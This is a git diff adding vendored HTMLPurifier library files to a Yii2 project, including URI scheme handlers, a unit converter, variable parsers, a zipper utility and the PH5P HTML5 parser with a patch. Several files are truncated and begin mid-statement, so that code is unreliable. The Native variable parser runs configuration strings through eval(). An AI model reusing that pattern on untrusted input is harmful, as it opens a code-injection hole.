-0,0 +1,36 @@ +userinfo = null; + return true; + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIScheme/https.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIScheme/https.php new file mode 100644 index 00000000..0e96882d --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIScheme/https.php @@ -0,0 +1,18 @@ +userinfo = null; + $uri->host = null; + $uri->port = null; + // we need to validate path against RFC 2368's addr-spec + return true; + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIScheme/news.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIScheme/news.php new file mode 100644 index 00000000..7490927d --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIScheme/news.php @@ -0,0 +1,35 @@ +userinfo = null; + $uri->host = null; + $uri->port = null; + $uri->query = null; + // typecode check needed on path + return true; + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIScheme/nntp.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIScheme/nntp.php new file mode 100644 index 00000000..f211d715 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIScheme/nntp.php @@ -0,0 +1,32 @@ +userinfo = null; + $uri->query = null; + return true; + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URISchemeRegistry.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URISchemeRegistry.php new file mode 100644 index 00000000..4ac8a0b7 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URISchemeRegistry.php @@ -0,0 +1,81 @@ +get('URI.AllowedSchemes'); + if (!$config->get('URI.OverrideAllowedSchemes') && + !isset($allowed_schemes[$scheme]) + ) { + return; + } + + if (isset($this->schemes[$scheme])) { + return $this->schemes[$scheme]; + } + if (!isset($allowed_schemes[$scheme])) { + return; + } + + $class = 'HTMLPurifier_URIScheme_' . $scheme; + if (!class_exists($class)) { + return; + } + $this->schemes[$scheme] = new $class(); + return $this->schemes[$scheme]; + } + + /** + * Registers a custom scheme to the cache, bypassing reflection. + * @param string $scheme Scheme name + * @param HTMLPurifier_URIScheme $scheme_obj + */ + public function register($scheme, $scheme_obj) + { + $this->schemes[$scheme] = $scheme_obj; + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/UnitConverter.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/UnitConverter.php new file mode 100644 index 00000000..166f3bf3 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/UnitConverter.php @@ -0,0 +1,307 @@ + array( + 'px' => 3, // This is as per CSS 2.1 and Firefox. Your mileage may vary + 'pt' => 4, + 'pc' => 48, + 'in' => 288, + self::METRIC => array('pt', '0.352777778', 'mm'), + ), + self::METRIC => array( + 'mm' => 1, + 'cm' => 10, + self::ENGLISH => array('mm', '2.83464567', 'pt'), + ), + ); + + /** + * Minimum bcmath precision for output. + * @type int + */ + protected $outputPrecision; + + /** + * Bcmath precision for internal calculations. + * @type int + */ + protected $internalPrecision; + + /** + * Whether or not BCMath is available. + * @type bool + */ + private $bcmath; + + public function __construct($output_precision = 4, $internal_precision = 10, $force_no_bcmath = false) + { + $this->outputPrecision = $output_precision; + $this->internalPrecision = $internal_precision; + $this->bcmath = !$force_no_bcmath && function_exists('bcmul'); + } + + /** + * Converts a length object of one unit into another unit. + * @param HTMLPurifier_Length $length + * Instance of HTMLPurifier_Length to convert. You must validate() + * it before passing it here! + * @param string $to_unit + * Unit to convert to. + * @return HTMLPurifier_Length|bool + * @note + * About precision: This conversion function pays very special + * attention to the incoming precision of values and attempts + * to maintain a number of significant figure. Results are + * fairly accurate up to nine digits. Some caveats: + * - If a number is zero-padded as a result of this significant + * figure tracking, the zeroes will be eliminated. + * - If a number contains less than four sigfigs ($outputPrecision) + * and this causes some decimals to be excluded, those + * decimals will be added on. + */ + public function convert($length, $to_unit) + { + if (!$length->isValid()) { + return false; + } + + $n = $length->getN(); + $unit = $length->getUnit(); + + if ($n === '0' || $unit === false) { + return new HTMLPurifier_Length('0', false); + } + + $state = $dest_state = false; + foreach (self::$units as $k => $x) { + if (isset($x[$unit])) { + $state = $k; + } + if (isset($x[$to_unit])) { + $dest_state = $k; + } + } + if (!$state || !$dest_state) { + return false; + } + + // Some calculations about the initial precision of the number; + // this will be useful when we need to do final rounding. + $sigfigs = $this->getSigFigs($n); + if ($sigfigs < $this->outputPrecision) { + $sigfigs = $this->outputPrecision; + } + + // BCMath's internal precision deals only with decimals. Use + // our default if the initial number has no decimals, or increase + // it by how ever many decimals, thus, the number of guard digits + // will always be greater than or equal to internalPrecision. + $log = (int)floor(log(abs($n), 10)); + $cp = ($log < 0) ? $this->internalPrecision - $log : $this->internalPrecision; // internal precision + + for ($i = 0; $i < 2; $i++) { + + // Determine what unit IN THIS SYSTEM we need to convert to + if ($dest_state === $state) { + // Simple conversion + $dest_unit = $to_unit; + } else { + // Convert to the smallest unit, pending a system shift + $dest_unit = self::$units[$state][$dest_state][0]; + } + + // Do the conversion if necessary + if ($dest_unit !== $unit) { + $factor = $this->div(self::$units[$state][$unit], self::$units[$state][$dest_unit], $cp); + $n = $this->mul($n, $factor, $cp); + $unit = $dest_unit; + } + + // Output was zero, so bail out early. Shouldn't ever happen. + if ($n === '') { + $n = '0'; + $unit = $to_unit; + break; + } + + // It was a simple conversion, so bail out + if ($dest_state === $state) { + break; + } + + if ($i !== 0) { + // Conversion failed! Apparently, the system we forwarded + // to didn't have this unit. This should never happen! + return false; + } + + // Pre-condition: $i == 0 + + // Perform conversion to next system of units + $n = $this->mul($n, self::$units[$state][$dest_state][1], $cp); + $unit = self::$units[$state][$dest_state][2]; + $state = $dest_state; + + // One more loop around to convert the unit in the new system. + + } + + // Post-condition: $unit == $to_unit + if ($unit !== $to_unit) { + return false; + } + + // Useful for debugging: + //echo "
              n";
              +        //echo "$n\nsigfigs = $sigfigs\nnew_log = $new_log\nlog = $log\nrp = $rp\n
              \n"; + + $n = $this->round($n, $sigfigs); + if (strpos($n, '.') !== false) { + $n = rtrim($n, '0'); + } + $n = rtrim($n, '.'); + + return new HTMLPurifier_Length($n, $unit); + } + + /** + * Returns the number of significant figures in a string number. + * @param string $n Decimal number + * @return int number of sigfigs + */ + public function getSigFigs($n) + { + $n = ltrim($n, '0+-'); + $dp = strpos($n, '.'); // decimal position + if ($dp === false) { + $sigfigs = strlen(rtrim($n, '0')); + } else { + $sigfigs = strlen(ltrim($n, '0.')); // eliminate extra decimal character + if ($dp !== 0) { + $sigfigs--; + } + } + return $sigfigs; + } + + /** + * Adds two numbers, using arbitrary precision when available. + * @param string $s1 + * @param string $s2 + * @param int $scale + * @return string + */ + private function add($s1, $s2, $scale) + { + if ($this->bcmath) { + return bcadd($s1, $s2, $scale); + } else { + return $this->scale((float)$s1 + (float)$s2, $scale); + } + } + + /** + * Multiples two numbers, using arbitrary precision when available. + * @param string $s1 + * @param string $s2 + * @param int $scale + * @return string + */ + private function mul($s1, $s2, $scale) + { + if ($this->bcmath) { + return bcmul($s1, $s2, $scale); + } else { + return $this->scale((float)$s1 * (float)$s2, $scale); + } + } + + /** + * Divides two numbers, using arbitrary precision when available. + * @param string $s1 + * @param string $s2 + * @param int $scale + * @return string + */ + private function div($s1, $s2, $scale) + { + if ($this->bcmath) { + return bcdiv($s1, $s2, $scale); + } else { + return $this->scale((float)$s1 / (float)$s2, $scale); + } + } + + /** + * Rounds a number according to the number of sigfigs it should have, + * using arbitrary precision when available. + * @param float $n + * @param int $sigfigs + * @return string + */ + private function round($n, $sigfigs) + { + $new_log = (int)floor(log(abs($n), 10)); // Number of digits left of decimal - 1 + $rp = $sigfigs - $new_log - 1; // Number of decimal places needed + $neg = $n < 0 ? '-' : ''; // Negative sign + if ($this->bcmath) { + if ($rp >= 0) { + $n = bcadd($n, $neg . '0.' . str_repeat('0', $rp) . '5', $rp + 1); + $n = bcdiv($n, '1', $rp); + } else { + // This algorithm partially depends on the standardized + // form of numbers that comes out of bcmath. + $n = bcadd($n, $neg . '5' . str_repeat('0', $new_log - $sigfigs), 0); + $n = substr($n, 0, $sigfigs + strlen($neg)) . str_repeat('0', $new_log - $sigfigs + 1); + } + return $n; + } else { + return $this->scale(round($n, $sigfigs - $new_log - 1), $rp + 1); + } + } + + /** + * Scales a float to $scale digits right of decimal point, like BCMath. + * @param float $r + * @param int $scale + * @return string + */ + private function scale($r, $scale) + { + if ($scale < 0) { + // The f sprintf type doesn't support negative numbers, so we + // need to cludge things manually. First get the string. + $r = sprintf('%.0f', (float)$r); + // Due to floating point precision loss, $r will more than likely + // look something like 4652999999999.9234. We grab one more digit + // than we need to precise from $r and then use that to round + // appropriately. + $precise = (string)round(substr($r, 0, strlen($r) + $scale), -1); + // Now we return it, truncating the zero that was rounded off. + return substr($precise, 0, -1) . str_repeat('0', -$scale + 1); + } + return sprintf('%.' . $scale . 'f', (float)$r); + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/VarParser.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/VarParser.php new file mode 100644 index 00000000..50cba691 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/VarParser.php @@ -0,0 +1,198 @@ + self::STRING, + 'istring' => self::ISTRING, + 'text' => self::TEXT, + 'itext' => self::ITEXT, + 'int' => self::INT, + 'float' => self::FLOAT, + 'bool' => self::BOOL, + 'lookup' => self::LOOKUP, + 'list' => self::ALIST, + 'hash' => self::HASH, + 'mixed' => self::MIXED + ); + + /** + * Lookup table of types that are string, and can have aliases or + * allowed value lists. + */ + public static $stringTypes = array( + self::STRING => true, + self::ISTRING => true, + self::TEXT => true, + self::ITEXT => true, + ); + + /** + * Validate a variable according to type. + * It may return NULL as a valid type if $allow_null is true. + * + * @param mixed $var Variable to validate + * @param int $type Type of variable, see HTMLPurifier_VarParser->types + * @param bool $allow_null Whether or not to permit null as a value + * @return string Validated and type-coerced variable + * @throws HTMLPurifier_VarParserException + */ + final public function parse($var, $type, $allow_null = false) + { + if (is_string($type)) { + if (!isset(HTMLPurifier_VarParser::$types[$type])) { + throw new HTMLPurifier_VarParserException("Invalid type '$type'"); + } else { + $type = HTMLPurifier_VarParser::$types[$type]; + } + } + $var = $this->parseImplementation($var, $type, $allow_null); + if ($allow_null && $var === null) { + return null; + } + // These are basic checks, to make sure nothing horribly wrong + // happened in our implementations. + switch ($type) { + case (self::STRING): + case (self::ISTRING): + case (self::TEXT): + case (self::ITEXT): + if (!is_string($var)) { + break; + } + if ($type == self::ISTRING || $type == self::ITEXT) { + $var = strtolower($var); + } + return $var; + case (self::INT): + if (!is_int($var)) { + break; + } + return $var; + case (self::FLOAT): + if (!is_float($var)) { + break; + } + return $var; + case (self::BOOL): + if (!is_bool($var)) { + break; + } + return $var; + case (self::LOOKUP): + case (self::ALIST): + case (self::HASH): + if (!is_array($var)) { + break; + } + if ($type === self::LOOKUP) { + foreach ($var as $k) { + if ($k !== true) { + $this->error('Lookup table contains value other than true'); + } + } + } elseif ($type === self::ALIST) { + $keys = array_keys($var); + if (array_keys($keys) !== $keys) { + $this->error('Indices for list are not uniform'); + } + } + return $var; + case (self::MIXED): + return $var; + default: + $this->errorInconsistent(get_class($this), $type); + } + $this->errorGeneric($var, $type); + } + + /** + * Actually implements the parsing. Base implementation does not + * do anything to $var. Subclasses should overload this! + * @param mixed $var + * @param int $type + * @param bool $allow_null + * @return string + */ + protected function parseImplementation($var, $type, $allow_null) + { + return $var; + } + + /** + * Throws an exception. + * @throws HTMLPurifier_VarParserException + */ + protected function error($msg) + { + throw new HTMLPurifier_VarParserException($msg); + } + + /** + * Throws an inconsistency exception. + * @note This should not ever be called. It would be called if we + * extend the allowed values of HTMLPurifier_VarParser without + * updating subclasses. + * @param string $class + * @param int $type + * @throws HTMLPurifier_Exception + */ + protected function errorInconsistent($class, $type) + { + throw new HTMLPurifier_Exception( + "Inconsistency in $class: " . HTMLPurifier_VarParser::getTypeName($type) . + " not implemented" + ); + } + + /** + * Generic error for if a type didn't work. + * @param mixed $var + * @param int $type + */ + protected function errorGeneric($var, $type) + { + $vtype = gettype($var); + $this->error("Expected type " . HTMLPurifier_VarParser::getTypeName($type) . ", got $vtype"); + } + + /** + * @param int $type + * @return string + */ + public static function getTypeName($type) + { + static $lookup; + if (!$lookup) { + // Lazy load the alternative lookup table + $lookup = array_flip(HTMLPurifier_VarParser::$types); + } + if (!isset($lookup[$type])) { + return 'unknown'; + } + return $lookup[$type]; + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/VarParser/Flexible.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/VarParser/Flexible.php new file mode 100644 index 00000000..b15016c5 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/VarParser/Flexible.php @@ -0,0 +1,130 @@ + $j) { + $var[$i] = trim($j); + } + if ($type === self::HASH) { + // key:value,key2:value2 + $nvar = array(); + foreach ($var as $keypair) { + $c = explode(':', $keypair, 2); + if (!isset($c[1])) { + continue; + } + $nvar[trim($c[0])] = trim($c[1]); + } + $var = $nvar; + } + } + if (!is_array($var)) { + break; + } + $keys = array_keys($var); + if ($keys === array_keys($keys)) { + if ($type == self::ALIST) { + return $var; + } elseif ($type == self::LOOKUP) { + $new = array(); + foreach ($var as $key) { + $new[$key] = true; + } + return $new; + } else { + break; + } + } + if ($type === self::ALIST) { + trigger_error("Array list did not have consecutive integer indexes", E_USER_WARNING); + return array_values($var); + } + if ($type === self::LOOKUP) { + foreach ($var as $key => $value) { + if ($value !== true) { + trigger_error( + "Lookup array has non-true value at key '$key'; " . + "maybe your input array was not indexed numerically", + E_USER_WARNING + ); + } + $var[$key] = true; + } + } + return $var; + default: + $this->errorInconsistent(__CLASS__, $type); + } + $this->errorGeneric($var, $type); + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/VarParser/Native.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/VarParser/Native.php new file mode 100644 index 00000000..f11c318e --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/VarParser/Native.php @@ -0,0 +1,38 @@ +evalExpression($var); + } + + /** + * @param string $expr + * @return mixed + * @throws HTMLPurifier_VarParserException + */ + protected function evalExpression($expr) + { + $var = null; + $result = eval("\$var = $expr;"); + if ($result === false) { + throw new HTMLPurifier_VarParserException("Fatal error in evaluated code"); + } + return $var; + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/VarParserException.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/VarParserException.php new file mode 100644 index 00000000..5df34149 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/VarParserException.php @@ -0,0 +1,11 @@ +front = $front; + $this->back = $back; + } + + /** + * Creates a zipper from an array, with a hole in the + * 0-index position. + * @param Array to zipper-ify. + * @return Tuple of zipper and element of first position. + */ + static public function fromArray($array) { + $z = new self(array(), array_reverse($array)); + $t = $z->delete(); // delete the "dummy hole" + return array($z, $t); + } + + /** + * Convert zipper back into a normal array, optionally filling in + * the hole with a value. (Usually you should supply a $t, unless you + * are at the end of the array.) + */ + public function toArray($t = NULL) { + $a = $this->front; + if ($t !== NULL) $a[] = $t; + for ($i = count($this->back)-1; $i >= 0; $i--) { + $a[] = $this->back[$i]; + } + return $a; + } + + /** + * Move hole to the next element. + * @param $t Element to fill hole with + * @return Original contents of new hole. + */ + public function next($t) { + if ($t !== NULL) array_push($this->front, $t); + return empty($this->back) ? NULL : array_pop($this->back); + } + + /** + * Iterated hole advancement. + * @param $t Element to fill hole with + * @param $i How many forward to advance hole + * @return Original contents of new hole, i away + */ + public function advance($t, $n) { + for ($i = 0; $i < $n; $i++) { + $t = $this->next($t); + } + return $t; + } + + /** + * Move hole to the previous element + * @param $t Element to fill hole with + * @return Original contents of new hole. + */ + public function prev($t) { + if ($t !== NULL) array_push($this->back, $t); + return empty($this->front) ? NULL : array_pop($this->front); + } + + /** + * Delete contents of current hole, shifting hole to + * next element. + * @return Original contents of new hole. + */ + public function delete() { + return empty($this->back) ? NULL : array_pop($this->back); + } + + /** + * Returns true if we are at the end of the list. + * @return bool + */ + public function done() { + return empty($this->back); + } + + /** + * Insert element before hole. + * @param Element to insert + */ + public function insertBefore($t) { + if ($t !== NULL) array_push($this->front, $t); + } + + /** + * Insert element after hole. + * @param Element to insert + */ + public function insertAfter($t) { + if ($t !== NULL) array_push($this->back, $t); + } + + /** + * Splice in multiple elements at hole. Functional specification + * in terms of array_splice: + * + * $arr1 = $arr; + * $old1 = array_splice($arr1, $i, $delete, $replacement); + * + * list($z, $t) = HTMLPurifier_Zipper::fromArray($arr); + * $t = $z->advance($t, $i); + * list($old2, $t) = $z->splice($t, $delete, $replacement); + * $arr2 = $z->toArray($t); + * + * assert($old1 === $old2); + * assert($arr1 === $arr2); + * + * NB: the absolute index location after this operation is + * *unchanged!* + * + * @param Current contents of hole. + */ + public function splice($t, $delete, $replacement) { + // delete + $old = array(); + $r = $t; + for ($i = $delete; $i > 0; $i--) { + $old[] = $r; + $r = $this->delete(); + } + // insert + for ($i = count($replacement)-1; $i >= 0; $i--) { + $this->insertAfter($r); + $r = $replacement[$i]; + } + return array($old, $r); + } +} diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/maintenance/.htaccess b/php/yii2/basic/vendor/ezyang/htmlpurifier/maintenance/.htaccess new file mode 100644 index 00000000..3a428827 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/maintenance/.htaccess @@ -0,0 +1 @@ +Deny from all diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/maintenance/PH5P.patch b/php/yii2/basic/vendor/ezyang/htmlpurifier/maintenance/PH5P.patch new file mode 100644 index 00000000..76370950 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/maintenance/PH5P.patch @@ -0,0 +1,102 @@ +--- C:\Users\Edward\Webs\htmlpurifier\maintenance\PH5P.php 2008-07-07 09:12:12.000000000 -0400 ++++ C:\Users\Edward\Webs\htmlpurifier\maintenance/PH5P.new.php 2008-12-06 02:29:34.988800000 -0500 +@@ -65,7 +65,7 @@ + + public function __construct($data) { + $data = str_replace("\r\n", "\n", $data); +- $date = str_replace("\r", null, $data); ++ $data = str_replace("\r", null, $data); + + $this->data = $data; + $this->char = -1; +@@ -211,7 +211,10 @@ + // If nothing is returned, emit a U+0026 AMPERSAND character token. + // Otherwise, emit the character token that was returned. + $char = (!$entity) ? '&' : $entity; +- $this->emitToken($char); ++ $this->emitToken(array( ++ 'type' => self::CHARACTR, ++ 'data' => $char ++ )); + + // Finally, switch to the data state. + $this->state = 'data'; +@@ -708,7 +711,7 @@ + } elseif($char === '&') { + /* U+0026 AMPERSAND (&) + Switch to the entity in attribute value state. */ +- $this->entityInAttributeValueState('non'); ++ $this->entityInAttributeValueState(); + + } elseif($char === '>') { + /* U+003E GREATER-THAN SIGN (>) +@@ -738,7 +741,8 @@ + ? '&' + : $entity; + +- $this->emitToken($char); ++ $last = count($this->token['attr']) - 1; ++ $this->token['attr'][$last]['value'] .= $char; + } + + private function bogusCommentState() { +@@ -1066,6 +1070,11 @@ + $this->char++; + + if(in_array($id, $this->entities)) { ++ if ($e_name[$c-1] !== ';') { ++ if ($c < $len && $e_name[$c] == ';') { ++ $this->char++; // consume extra semicolon ++ } ++ } + $entity = $id; + break; + } +@@ -2084,7 +2093,7 @@ + /* Reconstruct the active formatting elements, if any. */ + $this->reconstructActiveFormattingElements(); + +- $this->insertElement($token); ++ $this->insertElement($token, true, true); + break; + } + break; +@@ -3465,7 +3474,18 @@ + } + } + +- private function insertElement($token, $append = true) { ++ private function insertElement($token, $append = true, $check = false) { ++ // Proprietary workaround for libxml2's limitations with tag names ++ if ($check) { ++ // Slightly modified HTML5 tag-name modification, ++ // removing anything that's not an ASCII letter, digit, or hyphen ++ $token['name'] = preg_replace('/[^a-z0-9-]/i', '', $token['name']); ++ // Remove leading hyphens and numbers ++ $token['name'] = ltrim($token['name'], '-0..9'); ++ // In theory, this should ever be needed, but just in case ++ if ($token['name'] === '') $token['name'] = 'span'; // arbitrary generic choice ++ } ++ + $el = $this->dom->createElement($token['name']); + + foreach($token['attr'] as $attr) { +@@ -3659,7 +3679,7 @@ + } + } + +- private function generateImpliedEndTags(array $exclude = array()) { ++ private function generateImpliedEndTags($exclude = array()) { + /* When the steps below require the UA to generate implied end tags, + then, if the current node is a dd element, a dt element, an li element, + a p element, a td element, a th element, or a tr element, the UA must +@@ -3673,7 +3693,8 @@ + } + } + +- private function getElementCategory($name) { ++ private function getElementCategory($node) { ++ $name = $node->tagName; + if(in_array($name, $this->special)) + return self::SPECIAL; + diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/maintenance/PH5P.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/maintenance/PH5P.php new file mode 100644 index 00000000..9d83dcbf --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/maintenance/PH5P.php @@ -0,0 +1,3889 @@ +data = $data; + $this->char = -1; + $this->EOF = strlen($data); + $this->tree = new HTML5TreeConstructer; + $this->content_model = self::PCDATA; + + $this->state = 'data'; + + while($this->state !== null) { + $this->{$this->state.'State'}(); + } + } + + public function save() + { + return $this->tree->save(); + } + + private function char() + { + return ($this->char < $this->EOF) + ? $this->data[$this->char] + : false; + } + + private function character($s, $l = 0) + { + if($s + $l < $this->EOF) { + if($l === 0) { + return $this->data[$s]; + } else { + return substr($this->data, $s, $l); + } + } + } + + private function characters($char_class, $start) + { + return preg_replace('#^(['.$char_class.']+).*#s', '\\1', substr($this->data, $start)); + } + + private function dataState() + { + // Consume the next input character + $this->char++; + $char = $this->char(); + + if($char === '&' && ($this->content_model === self::PCDATA || $this->content_model === self::RCDATA)) { + /* U+0026 AMPERSAND (&) + When the content model flag is set to one of the PCDATA or RCDATA + states: switch to the entity data state. Otherwise: treat it as per + the "anything else" entry below. */ + $this->state = 'entityData'; + + } elseif($char === '-') { + /* If the content model flag is set to either the RCDATA state or + the CDATA state, and the escape flag is false, and there are at + least three characters before this one in the input stream, and the + last four characters in the input stream, including this one, are + U+003C LESS-THAN SIGN, U+0021 EXCLAMATION MARK, U+002D HYPHEN-MINUS, + and U+002D HYPHEN-MINUS (""), + set the escape flag to false. */ + if(($this->content_model === self::RCDATA || + $this->content_model === self::CDATA) && $this->escape === true && + $this->character($this->char, 3) === '-->') { + $this->escape = false; + } + + /* In any case, emit the input character as a character token. + Stay in the data state. */ + $this->emitToken(array( + 'type' => self::CHARACTR, + 'data' => $char + )); + + } elseif($this->char === $this->EOF) { + /* EOF + Emit an end-of-file token. */ + $this->EOF(); + + } elseif($this->content_model === self::PLAINTEXT) { + /* When the content model flag is set to the PLAINTEXT state + THIS DIFFERS GREATLY FROM THE SPEC: Get the remaining characters of + the text and emit it as a character token. */ + $this->emitToken(array( + 'type' => self::CHARACTR, + 'data' => substr($this->data, $this->char) + )); + + $this->EOF(); + + } else { + /* Anything else + THIS DIFFERS GREATLY FROM THE SPEC: Get as many character that + otherwise would also be treated as a character token and emit it + as a single character token. Stay in the data state. */ + $len = strcspn($this->data, '<&', $this->char); + $char = substr($this->data, $this->char, $len); + $this->char += $len - 1; + + $this->emitToken(array( + 'type' => self::CHARACTR, + 'data' => $char + )); + + $this->state = 'data'; + } + } + + private function entityDataState() + { + // Attempt to consume an entity. + $entity = $this->entity(); + + // If nothing is returned, emit a U+0026 AMPERSAND character token. + // Otherwise, emit the character token that was returned. + $char = (!$entity) ? '&' : $entity; + $this->emitToken($char); + + // Finally, switch to the data state. + $this->state = 'data'; + } + + private function tagOpenState() + { + switch($this->content_model) { + case self::RCDATA: + case self::CDATA: + /* If the next input character is a U+002F SOLIDUS (/) character, + consume it and switch to the close tag open state. If the next + input character is not a U+002F SOLIDUS (/) character, emit a + U+003C LESS-THAN SIGN character token and switch to the data + state to process the next input character. */ + if($this->character($this->char + 1) === '/') { + $this->char++; + $this->state = 'closeTagOpen'; + + } else { + $this->emitToken(array( + 'type' => self::CHARACTR, + 'data' => '<' + )); + + $this->state = 'data'; + } + break; + + case self::PCDATA: + // If the content model flag is set to the PCDATA state + // Consume the next input character: + $this->char++; + $char = $this->char(); + + if($char === '!') { + /* U+0021 EXCLAMATION MARK (!) + Switch to the markup declaration open state. */ + $this->state = 'markupDeclarationOpen'; + + } elseif($char === '/') { + /* U+002F SOLIDUS (/) + Switch to the close tag open state. */ + $this->state = 'closeTagOpen'; + + } elseif(preg_match('/^[A-Za-z]$/', $char)) { + /* U+0041 LATIN LETTER A through to U+005A LATIN LETTER Z + Create a new start tag token, set its tag name to the lowercase + version of the input character (add 0x0020 to the character's code + point), then switch to the tag name state. (Don't emit the token + yet; further details will be filled in before it is emitted.) */ + $this->token = array( + 'name' => strtolower($char), + 'type' => self::STARTTAG, + 'attr' => array() + ); + + $this->state = 'tagName'; + + } elseif($char === '>') { + /* U+003E GREATER-THAN SIGN (>) + Parse error. Emit a U+003C LESS-THAN SIGN character token and a + U+003E GREATER-THAN SIGN character token. Switch to the data state. */ + $this->emitToken(array( + 'type' => self::CHARACTR, + 'data' => '<>' + )); + + $this->state = 'data'; + + } elseif($char === '?') { + /* U+003F QUESTION MARK (?) + Parse error. Switch to the bogus comment state. */ + $this->state = 'bogusComment'; + + } else { + /* Anything else + Parse error. Emit a U+003C LESS-THAN SIGN character token and + reconsume the current input character in the data state. */ + $this->emitToken(array( + 'type' => self::CHARACTR, + 'data' => '<' + )); + + $this->char--; + $this->state = 'data'; + } + break; + } + } + + private function closeTagOpenState() + { + $next_node = strtolower($this->characters('A-Za-z', $this->char + 1)); + $the_same = count($this->tree->stack) > 0 && $next_node === end($this->tree->stack)->nodeName; + + if(($this->content_model === self::RCDATA || $this->content_model === self::CDATA) && + (!$the_same || ($the_same && (!preg_match('/[\t\n\x0b\x0c >\/]/', + $this->character($this->char + 1 + strlen($next_node))) || $this->EOF === $this->char)))) { + /* If the content model flag is set to the RCDATA or CDATA states then + examine the next few characters. If they do not match the tag name of + the last start tag token emitted (case insensitively), or if they do but + they are not immediately followed by one of the following characters: + * U+0009 CHARACTER TABULATION + * U+000A LINE FEED (LF) + * U+000B LINE TABULATION + * U+000C FORM FEED (FF) + * U+0020 SPACE + * U+003E GREATER-THAN SIGN (>) + * U+002F SOLIDUS (/) + * EOF + ...then there is a parse error. Emit a U+003C LESS-THAN SIGN character + token, a U+002F SOLIDUS character token, and switch to the data state + to process the next input character. */ + $this->emitToken(array( + 'type' => self::CHARACTR, + 'data' => 'state = 'data'; + + } else { + /* Otherwise, if the content model flag is set to the PCDATA state, + or if the next few characters do match that tag name, consume the + next input character: */ + $this->char++; + $char = $this->char(); + + if(preg_match('/^[A-Za-z]$/', $char)) { + /* U+0041 LATIN LETTER A through to U+005A LATIN LETTER Z + Create a new end tag token, set its tag name to the lowercase version + of the input character (add 0x0020 to the character's code point), then + switch to the tag name state. (Don't emit the token yet; further details + will be filled in before it is emitted.) */ + $this->token = array( + 'name' => strtolower($char), + 'type' => self::ENDTAG + ); + + $this->state = 'tagName'; + + } elseif($char === '>') { + /* U+003E GREATER-THAN SIGN (>) + Parse error. Switch to the data state. */ + $this->state = 'data'; + + } elseif($this->char === $this->EOF) { + /* EOF + Parse error. Emit a U+003C LESS-THAN SIGN character token and a U+002F + SOLIDUS character token. Reconsume the EOF character in the data state. */ + $this->emitToken(array( + 'type' => self::CHARACTR, + 'data' => 'char--; + $this->state = 'data'; + + } else { + /* Parse error. Switch to the bogus comment state. */ + $this->state = 'bogusComment'; + } + } + } + + private function tagNameState() + { + // Consume the next input character: + $this->char++; + $char = $this->character($this->char); + + if(preg_match('/^[\t\n\x0b\x0c ]$/', $char)) { + /* U+0009 CHARACTER TABULATION + U+000A LINE FEED (LF) + U+000B LINE TABULATION + U+000C FORM FEED (FF) + U+0020 SPACE + Switch to the before attribute name state. */ + $this->state = 'beforeAttributeName'; + + } elseif($char === '>') { + /* U+003E GREATER-THAN SIGN (>) + Emit the current tag token. Switch to the data state. */ + $this->emitToken($this->token); + $this->state = 'data'; + + } elseif($this->char === $this->EOF) { + /* EOF + Parse error. Emit the current tag token. Reconsume the EOF + character in the data state. */ + $this->emitToken($this->token); + + $this->char--; + $this->state = 'data'; + + } elseif($char === '/') { + /* U+002F SOLIDUS (/) + Parse error unless this is a permitted slash. Switch to the before + attribute name state. */ + $this->state = 'beforeAttributeName'; + + } else { + /* Anything else + Append the current input character to the current tag token's tag name. + Stay in the tag name state. */ + $this->token['name'] .= strtolower($char); + $this->state = 'tagName'; + } + } + + private function beforeAttributeNameState() + { + // Consume the next input character: + $this->char++; + $char = $this->character($this->char); + + if(preg_match('/^[\t\n\x0b\x0c ]$/', $char)) { + /* U+0009 CHARACTER TABULATION + U+000A LINE FEED (LF) + 